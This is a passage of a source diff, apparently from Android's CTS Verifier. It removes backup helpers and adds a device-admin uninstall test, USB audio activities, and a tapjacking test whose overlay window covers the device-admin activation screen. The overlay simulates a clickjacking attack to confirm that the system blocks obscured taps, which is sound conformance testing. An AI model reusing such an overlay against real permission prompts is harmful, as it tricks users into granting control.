- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier;
-
-import com.android.cts.verifier.backup.BackupTestActivity;
-
-import android.app.backup.BackupDataInputStream;
-import android.app.backup.BackupDataOutput;
-import android.app.backup.BackupHelper;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.os.ParcelFileDescriptor;
-import android.util.Log;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.DataInputStream;
-import java.io.DataOutputStream;
-import java.io.IOException;
-
-/** {@link BackupHelper} for the test results database. */
-class TestResultsBackupHelper implements BackupHelper {
-
-    private static final String TAG = TestResultsBackupHelper.class.getSimpleName();
-
-    private static final String DB_BACKUP_KEY = "db";
-
-    private final Context mContext;
-
-    TestResultsBackupHelper(Context context) {
-        mContext = context;
-    }
-
-    @Override
-    public void performBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
-            ParcelFileDescriptor newState) {
-        ContentResolver resolver = mContext.getContentResolver();
-        Cursor cursor = null;
-        try {
-            cursor = resolver.query(TestResultsProvider.getResultContentUri(mContext),
-                    null, null, null, null);
-            int nameIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_NAME);
-            int resultIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_RESULT);
-            int infoSeenIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_INFO_SEEN);
-            int detailsIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_DETAILS);
-            int metricsIndex = cursor.getColumnIndex(TestResultsProvider.COLUMN_TEST_METRICS);
-
-            ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
-            DataOutputStream dataOutput = new DataOutputStream(byteOutput);
-
-            dataOutput.writeInt(cursor.getCount());
-            while (cursor.moveToNext()) {
-                String name = cursor.getString(nameIndex);
-                int result = cursor.getInt(resultIndex);
-                int infoSeen = cursor.getInt(infoSeenIndex);
-                String details = cursor.getString(detailsIndex);
-                byte[] metricsData = cursor.getBlob(metricsIndex);
-
-                dataOutput.writeUTF(name);
-                dataOutput.writeInt(result);
-                dataOutput.writeInt(infoSeen);
-                dataOutput.writeUTF(details != null ? details : "");
-                dataOutput.writeInt(metricsData.length);
-                if (metricsData.length > 0) {
-                    dataOutput.write(metricsData);
-                }
-            }
-
-            byte[] rawBytes = byteOutput.toByteArray();
-            data.writeEntityHeader(DB_BACKUP_KEY, rawBytes.length);
-            data.writeEntityData(rawBytes, rawBytes.length);
-        } catch (IOException e) {
-            Log.e(TAG, "Couldn't backup test results...", e);
-            failBackupTest();
-        } finally {
-            if (cursor != null) {
-                cursor.close();
-            }
-        }
-    }
-
-    @Override
-    public void restoreEntity(BackupDataInputStream data) {
-        try {
-            if (DB_BACKUP_KEY.equals(data.getKey())) {
-                byte[] rawBytes = new byte[data.size()];
-                data.read(rawBytes, 0, data.size());
-
-                ByteArrayInputStream byteInput = new ByteArrayInputStream(rawBytes);
-                DataInputStream dataInput = new DataInputStream(byteInput);
-
-                int numRows = dataInput.readInt();
-                ContentValues[] values = new ContentValues[numRows];
-                for (int i = 0; i < numRows; i++) {
-                    String name = dataInput.readUTF();
-                    int result = dataInput.readInt();
-                    int infoSeen = dataInput.readInt();
-                    String details = dataInput.readUTF();
-                    int metricsDataSize = dataInput.readInt();
-
-                    values[i] = new ContentValues();
-                    values[i].put(TestResultsProvider.COLUMN_TEST_NAME, name);
-                    values[i].put(TestResultsProvider.COLUMN_TEST_RESULT, result);
-                    values[i].put(TestResultsProvider.COLUMN_TEST_INFO_SEEN, infoSeen);
-                    values[i].put(TestResultsProvider.COLUMN_TEST_DETAILS, details);
-
-                    if (metricsDataSize > 0) {
-                        byte[] metrics = new byte[metricsDataSize];
-                        dataInput.readFully(metrics);
-                        values[i].put(TestResultsProvider.COLUMN_TEST_METRICS, metrics);
-                    }
-                }
-
-                ContentResolver resolver = mContext.getContentResolver();
-                resolver.bulkInsert(TestResultsProvider.getResultContentUri(mContext), values);
-            } else {
-                Log.e(TAG, "Skipping key: " + data.getKey());
-            }
-        } catch (IOException e) {
-            Log.e(TAG, "Couldn't restore test results...", e);
-            failBackupTest();
-        }
-    }
-
-    private void failBackupTest() {
-        TestResultsProvider.setTestResult(mContext, BackupTestActivity.class.getName(),
-                TestResult.TEST_RESULT_FAILED, null /*testDetails*/, null /*testMetrics*/);
-    }
-
-    @Override
-    public void writeNewStateDescription(ParcelFileDescriptor newState) {
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index df419c0..8c779c5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -105,7 +105,7 @@
                 Build.FINGERPRINT, Build.ID, Build.MANUFACTURER, Build.MODEL, Build.PRODUCT,
                 referenceFingerprint, Build.SERIAL, Build.TAGS, Build.TYPE, versionBaseOs,
                 Build.VERSION.RELEASE, Integer.toString(Build.VERSION.SDK_INT),
-                versionSecurityPatch);
+                versionSecurityPatch, Build.VERSION.INCREMENTAL);
 
         // add device properties to the result with a prefix tag for each key
         for (Entry<String, String> entry :
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/VerifierBackupAgent.java b/apps/CtsVerifier/src/com/android/cts/verifier/VerifierBackupAgent.java
deleted file mode 100644
index 3c980b9..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/VerifierBackupAgent.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier;
-
-import com.android.cts.verifier.backup.BackupTestActivity;
-
-import android.app.backup.BackupAgentHelper;
-
-public class VerifierBackupAgent extends BackupAgentHelper {
-
-    @Override
-    public void onCreate() {
-        super.onCreate();
-        addHelper("test-results", new TestResultsBackupHelper(this));
-        addHelper("backup-test-prefs", BackupTestActivity.getSharedPreferencesBackupHelper(this));
-        addHelper("backup-test-files", BackupTestActivity.getFileBackupHelper(this));
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java
new file mode 100644
index 0000000..760a396
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java
@@ -0,0 +1,206 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.admin;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.res.AssetManager;
+import android.net.Uri;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.support.v4.content.FileProvider;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+import android.widget.ImageView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+/**
+ * Test that checks that active device admins can be easily uninstalled via the app details screen
+ */
+public class DeviceAdminUninstallTestActivity extends PassFailButtons.Activity implements
+        View.OnClickListener {
+
+    private static final String TAG = DeviceAdminUninstallTestActivity.class.getSimpleName();
+    private static final String ADMIN_PACKAGE_NAME = "com.android.cts.emptydeviceadmin";
+    private static final String ADMIN_RECEIVER_CLASS_NAME =
+            "com.android.cts.emptydeviceadmin.EmptyDeviceAdmin";
+    private static final String TEST_APK_ASSET_LOCATION = "apk/CtsEmptyDeviceAdmin.apk";
+    private static final String TEST_APK_FILES_LOCATION = "apk/CtsEmptyDeviceAdmin.apk";
+    private static final String ADMIN_INSTALLED_BUNDLE_KEY = "admin_installed";
+    private static final String ADMIN_ACTIVATED_BUNDLE_KEY = "admin_activated";
+    private static final String ADMIN_REMOVED_BUNDLE_KEY = "admin_removed";
+
+    private static final int REQUEST_INSTALL_ADMIN = 0;
+    private static final int REQUEST_ENABLE_ADMIN = 1;
+    private static final int REQUEST_UNINSTALL_ADMIN = 2;
+
+    private DevicePolicyManager mDevicePolicyManager;
+
+    private Button mInstallAdminButton;
+    private ImageView mInstallStatus;
+    private Button mAddDeviceAdminButton;
+    private ImageView mEnableStatus;
+    private Button mUninstallAdminButton;
+    private ImageView mUninstallStatus;
+    private File mApkFile;
+    private boolean mAdminInstalled;
+    private boolean mAdminActivated;
+    private boolean mAdminRemoved;
+    private ComponentName mAdmin;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.da_uninstall_test_main);
+        setInfoResources(R.string.da_uninstall_test, R.string.da_uninstall_test_info, -1);
+        setPassFailButtonClickListeners();
+
+        mAdmin = new ComponentName(ADMIN_PACKAGE_NAME, ADMIN_RECEIVER_CLASS_NAME);
+        mDevicePolicyManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
+
+        mApkFile = new File(getExternalFilesDir(null), TEST_APK_FILES_LOCATION);
+        copyApkToFile(mApkFile);
+
+        if (savedInstanceState != null) {
+            mAdminInstalled = savedInstanceState.getBoolean(ADMIN_INSTALLED_BUNDLE_KEY, false);
+            mAdminActivated = savedInstanceState.getBoolean(ADMIN_ACTIVATED_BUNDLE_KEY, false);
+            mAdminRemoved = savedInstanceState.getBoolean(ADMIN_REMOVED_BUNDLE_KEY, false);
+        } else {
+            mAdminInstalled = isPackageInstalled(ADMIN_PACKAGE_NAME);
+            mAdminActivated = mDevicePolicyManager.isAdminActive(mAdmin);
+        }
+
+        mInstallStatus = (ImageView) findViewById(R.id.install_admin_status);
+        mInstallAdminButton = (Button) findViewById(R.id.install_device_admin_button);
+        mInstallAdminButton.setOnClickListener(this);
+
+        mEnableStatus = (ImageView) findViewById(R.id.enable_admin_status);
+        mAddDeviceAdminButton = (Button) findViewById(R.id.enable_device_admin_button);
+        mAddDeviceAdminButton.setOnClickListener(this);
+
+        mUninstallStatus = (ImageView) findViewById(R.id.uninstall_admin_status);
+        mUninstallAdminButton = (Button) findViewById(R.id.open_app_details_button);
+        mUninstallAdminButton.setOnClickListener(this);
+    }
+
+
+    private void copyApkToFile(File destFile) {
+        destFile.getParentFile().mkdirs();
+        try (FileOutputStream out = new FileOutputStream(destFile);
+             InputStream in = getAssets().open(TEST_APK_ASSET_LOCATION,
+                     AssetManager.ACCESS_BUFFER)) {
+            byte[] buffer = new byte[4096];
+            int bytesRead;
+            while ((bytesRead = in.read(buffer)) >= 0) {
+                out.write(buffer, 0, bytesRead);
+            }
+            out.flush();
+            Log.d(TAG, "successfully copied apk to " + destFile.getAbsolutePath());
+        } catch (IOException exc) {
+            Log.e(TAG, "Exception while copying device admin apk", exc);
+        }
+    }
+
+    private boolean isPackageInstalled(String packageName) {
+        PackageInfo packageInfo = null;
+        try {
+            packageInfo = getPackageManager().getPackageInfo(packageName, 0);
+        } catch (PackageManager.NameNotFoundException exc) {
+            // Expected.
+        }
+        return packageInfo != null;
+    }
+
+    @Override
+    public void onClick(View v) {
+        if (v == mInstallAdminButton) {
+            Intent intent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
+            intent.setData(DeviceAdminApkFileProvider.getUriForFile(this,
+                    DeviceAdminApkFileProvider.CONTENT_AUTHORITY, mApkFile));
+            intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+            intent.putExtra(Intent.EXTRA_RETURN_RESULT, true);
+            startActivityForResult(intent, REQUEST_INSTALL_ADMIN);
+        } else if (v == mAddDeviceAdminButton) {
+            Intent securitySettingsIntent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
+            securitySettingsIntent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mAdmin);
+            startActivityForResult(securitySettingsIntent, REQUEST_ENABLE_ADMIN);
+        } else if (v == mUninstallAdminButton) {
+            Intent appDetails = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
+            appDetails.setData(Uri.parse("package:" + ADMIN_PACKAGE_NAME));
+            startActivityForResult(appDetails, REQUEST_UNINSTALL_ADMIN);
+        }
+    }
+
+    @Override
+    public void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == REQUEST_INSTALL_ADMIN) {
+            mAdminInstalled = resultCode == RESULT_OK;
+        } else if (requestCode == REQUEST_ENABLE_ADMIN) {
+            mAdminActivated = mDevicePolicyManager.isAdminActive(mAdmin);
+        } else if (requestCode == REQUEST_UNINSTALL_ADMIN) {
+            mAdminRemoved = !mDevicePolicyManager.isAdminActive(mAdmin) && !isPackageInstalled(
+                    ADMIN_PACKAGE_NAME);
+        }
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        updateWidgets();
+    }
+
+    @Override
+    public void onSaveInstanceState(Bundle icicle) {
+        icicle.putBoolean(ADMIN_INSTALLED_BUNDLE_KEY, mAdminInstalled);
+        icicle.putBoolean(ADMIN_ACTIVATED_BUNDLE_KEY, mAdminActivated);
+        icicle.putBoolean(ADMIN_REMOVED_BUNDLE_KEY, mAdminRemoved);
+    }
+
+    private void updateWidgets() {
+        mInstallAdminButton.setEnabled(mApkFile.exists() && !mAdminInstalled);
+        mInstallStatus.setImageResource(
+                mAdminInstalled ? R.drawable.fs_good : R.drawable.fs_indeterminate);
+        mInstallStatus.invalidate();
+
+        mAddDeviceAdminButton.setEnabled(mAdminInstalled && !mAdminActivated);
+        mEnableStatus.setImageResource(
+                mAdminActivated ? R.drawable.fs_good : R.drawable.fs_indeterminate);
+        mEnableStatus.invalidate();
+
+        mUninstallAdminButton.setEnabled(mAdminActivated && !mAdminRemoved);
+        mUninstallStatus.setImageResource(
+                mAdminRemoved ? R.drawable.fs_good : R.drawable.fs_indeterminate);
+        mUninstallStatus.invalidate();
+
+        getPassButton().setEnabled(mAdminRemoved);
+    }
+
+    public static class DeviceAdminApkFileProvider extends FileProvider {
+        static final String CONTENT_AUTHORITY = "com.android.cts.verifier.admin.fileprovider";
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java
new file mode 100644
index 0000000..4c9b46d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.admin.tapjacking;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Test that checks that device admin activate button does not allow taps when another window
+ * is obscuring the device admin details
+ */
+public class DeviceAdminTapjackingTestActivity extends PassFailButtons.Activity implements
+        View.OnClickListener {
+
+    private static final String TAG = DeviceAdminTapjackingTestActivity.class.getSimpleName();
+    private static final String ADMIN_ACTIVATED_BUNDLE_KEY = "admin_activated";
+    private static final String ACTIVITIES_FINISHED_IN_ORDER_KEY = "activities_finished_in_order";
+    private static final int REQUEST_ENABLE_ADMIN = 0;
+    private static final int REQUEST_OVERLAY_ACTIVITY = 1;
+    private static final long REMOVE_ADMIN_TIMEOUT = 5000;
+
+    private DevicePolicyManager mDevicePolicyManager;
+    private Button mAddDeviceAdminButton;
+    private boolean mAdminActivated;
+    private boolean mActivitiesFinishedInOrder;
+    private boolean mOverlayFinished;
+    private ComponentName mAdmin;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.da_tapjacking_test_main);
+        setInfoResources(R.string.da_tapjacking_test, R.string.da_tapjacking_test_info, -1);
+        setPassFailButtonClickListeners();
+
+        mAdmin = new ComponentName(this, EmptyDeviceAdminReceiver.class);
+        mDevicePolicyManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
+
+        if (savedInstanceState != null) {
+            mAdminActivated = savedInstanceState.getBoolean(ADMIN_ACTIVATED_BUNDLE_KEY, false);
+            mActivitiesFinishedInOrder = savedInstanceState.getBoolean(
+                    ACTIVITIES_FINISHED_IN_ORDER_KEY, false);
+        } else if (isActiveAdminAfterTimeout()) {
+            Log.e(TAG, "Could not remove active admin. Cannot proceed with test");
+            finish();
+        }
+        mAddDeviceAdminButton = findViewById(R.id.enable_admin_overlay_button);
+        mAddDeviceAdminButton.setOnClickListener(this);
+    }
+
+    private boolean isActiveAdminAfterTimeout() {
+        final long timeOut = SystemClock.uptimeMillis() + REMOVE_ADMIN_TIMEOUT;
+        while (mDevicePolicyManager.isAdminActive(mAdmin)
+                && SystemClock.uptimeMillis() < timeOut ) {
+            try {
+                Thread.sleep(1000);
+            } catch(InterruptedException exc) {
+            }
+        }
+        return mDevicePolicyManager.isAdminActive(mAdmin);
+    }
+
+    @Override
+    public void onClick(View v) {
+        if (v == mAddDeviceAdminButton) {
+            Intent securitySettingsIntent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
+            securitySettingsIntent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mAdmin);
+            startActivityForResult(securitySettingsIntent, REQUEST_ENABLE_ADMIN);
+            try {
+                Thread.sleep(2000);
+            } catch (InterruptedException exc) {
+            }
+            startActivityForResult(new Intent(this, OverlayingActivity.class),
+                    REQUEST_OVERLAY_ACTIVITY);
+        }
+    }
+
+    @Override
+    public void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == REQUEST_ENABLE_ADMIN) {
+            mActivitiesFinishedInOrder = mOverlayFinished;
+            if (resultCode == RESULT_OK) {
+                mAdminActivated = true;
+                Log.e(TAG, "Admin was activated. Restart the Test");
+            }
+        }
+        else if (requestCode == REQUEST_OVERLAY_ACTIVITY) {
+            mOverlayFinished = true;
+        }
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        updateWidgets();
+    }
+
+    @Override
+    public void onSaveInstanceState(Bundle icicle) {
+        icicle.putBoolean(ADMIN_ACTIVATED_BUNDLE_KEY, mAdminActivated);
+        icicle.putBoolean(ACTIVITIES_FINISHED_IN_ORDER_KEY, mActivitiesFinishedInOrder);
+    }
+
+    private void updateWidgets() {
+        mAddDeviceAdminButton.setEnabled(!mActivitiesFinishedInOrder && !mAdminActivated);
+        getPassButton().setEnabled(!mAdminActivated && mActivitiesFinishedInOrder);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/EmptyDeviceAdminReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/EmptyDeviceAdminReceiver.java
new file mode 100644
index 0000000..42dd9ac
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/EmptyDeviceAdminReceiver.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.admin.tapjacking;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+
+public class EmptyDeviceAdminReceiver extends DeviceAdminReceiver {
+
+    @Override
+    public void onEnabled(Context context, Intent intent) {
+        DevicePolicyManager dpm =
+                (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        dpm.removeActiveAdmin(new ComponentName(context, this.getClass()));
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
new file mode 100644
index 0000000..52c7ed5
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.admin.tapjacking;
+
+import static android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON;
+import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+import com.android.cts.verifier.R;
+
+
+public class OverlayingActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.da_tapjacking_overlay_activity);
+        WindowManager.LayoutParams params = getWindow().getAttributes();
+        params.flags = FLAG_LAYOUT_NO_LIMITS | FLAG_NOT_TOUCH_MODAL | FLAG_NOT_TOUCHABLE
+                | FLAG_KEEP_SCREEN_ON;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
new file mode 100644
index 0000000..21a70b9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.os.Bundle;
+import android.os.Handler;
+import android.util.Log;
+import android.widget.TextView;
+
+import com.android.cts.verifier.audio.peripheralprofile.PeripheralProfile;
+import com.android.cts.verifier.audio.peripheralprofile.ProfileManager;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;  // needed to access resource in CTSVerifier project namespace.
+
+public abstract class USBAudioPeripheralActivity extends PassFailButtons.Activity {
+    private static final String TAG = "USBAudioPeripheralActivity";
+
+    // Profile
+    protected ProfileManager mProfileManager = new ProfileManager();
+    protected PeripheralProfile mSelectedProfile;
+
+    // Peripheral
+    AudioManager mAudioManager;
+    protected boolean mIsPeripheralAttached;
+    protected AudioDeviceInfo mOutputDevInfo;
+    protected AudioDeviceInfo mInputDevInfo;
+
+    // This will be overriden...
+    protected  int mSystemSampleRate = 48000;
+
+    // Widgets
+    private TextView mProfileNameTx;
+    private TextView mProfileDescriptionTx;
+
+    private TextView mPeripheralNameTx;
+
+    public USBAudioPeripheralActivity() {
+        super();
+
+        mProfileManager.loadProfiles();
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
+        mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+
+        mSystemSampleRate = Integer.parseInt(
+            mAudioManager.getProperty(AudioManager.PROPERTY_OUTPUT_SAMPLE_RATE));
+    }
+
+    protected void connectPeripheralStatusWidgets() {
+        mProfileNameTx = (TextView)findViewById(R.id.uap_profileNameTx);
+        mProfileDescriptionTx =
+            (TextView)findViewById(R.id.uap_profileDescriptionTx);
+        mPeripheralNameTx = (TextView)findViewById(R.id.uap_peripheralNameTx);
+    }
+
+    private void showProfileStatus() {
+        if (mSelectedProfile != null) {
+            mProfileNameTx.setText(mSelectedProfile.getName());
+            mProfileDescriptionTx.setText(mSelectedProfile.getDescription());
+        } else {
+            mProfileNameTx.setText("");
+            mProfileDescriptionTx.setText("");
+        }
+    }
+
+    private void showPeripheralStatus() {
+        if (mIsPeripheralAttached) {
+            if (mOutputDevInfo != null) {
+                mPeripheralNameTx.setText(mOutputDevInfo.getProductName().toString());
+            } else if (mInputDevInfo != null) {
+                mPeripheralNameTx.setText(mInputDevInfo.getProductName().toString());
+            }
+        } else {
+            mPeripheralNameTx.setText("Disconnected");
+        }
+    }
+
+    private void scanPeripheralList(AudioDeviceInfo[] devices) {
+        // Can't just use the first record because then we will only get
+        // Source OR sink, not both even on devices that are both.
+        mOutputDevInfo = null;
+        mInputDevInfo = null;
+
+        // Any valid peripherals
+        for(AudioDeviceInfo devInfo : devices) {
+            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE) {
+                if (devInfo.isSink()) {
+                    mOutputDevInfo = devInfo;
+                }
+                if (devInfo.isSource()) {
+                    mInputDevInfo = devInfo;
+                }
+            }
+        }
+        mIsPeripheralAttached = mOutputDevInfo != null || mInputDevInfo != null;
+        // Log.i(TAG, "mIsPeripheralAttached: " + mIsPeripheralAttached);
+
+        // any associated profiles?
+        if (mIsPeripheralAttached) {
+            if (mOutputDevInfo != null) {
+                mSelectedProfile =
+                    mProfileManager.getProfile(mOutputDevInfo.getProductName().toString());
+            } else if (mInputDevInfo != null) {
+                mSelectedProfile =
+                    mProfileManager.getProfile(mInputDevInfo.getProductName().toString());
+            }
+        } else {
+            mSelectedProfile = null;
+        }
+
+    }
+
+    private class ConnectListener extends AudioDeviceCallback {
+        /*package*/ ConnectListener() {}
+
+        //
+        // AudioDevicesManager.OnDeviceConnectionListener
+        //
+        @Override
+        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+            // Log.i(TAG, "onAudioDevicesAdded() num:" + addedDevices.length);
+
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+
+            showProfileStatus();
+            showPeripheralStatus();
+            updateConnectStatus();
+        }
+
+        @Override
+        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+            // Log.i(TAG, "onAudioDevicesRemoved() num:" + removedDevices.length);
+
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+
+            showProfileStatus();
+            showPeripheralStatus();
+            updateConnectStatus();
+        }
+    }
+
+    abstract public void updateConnectStatus();
+}
+
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
new file mode 100644
index 0000000..6ed38e3
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.content.Context;
+import android.media.AudioDeviceInfo;
+import android.os.Bundle;
+import android.util.Log;
+import android.widget.TextView;
+
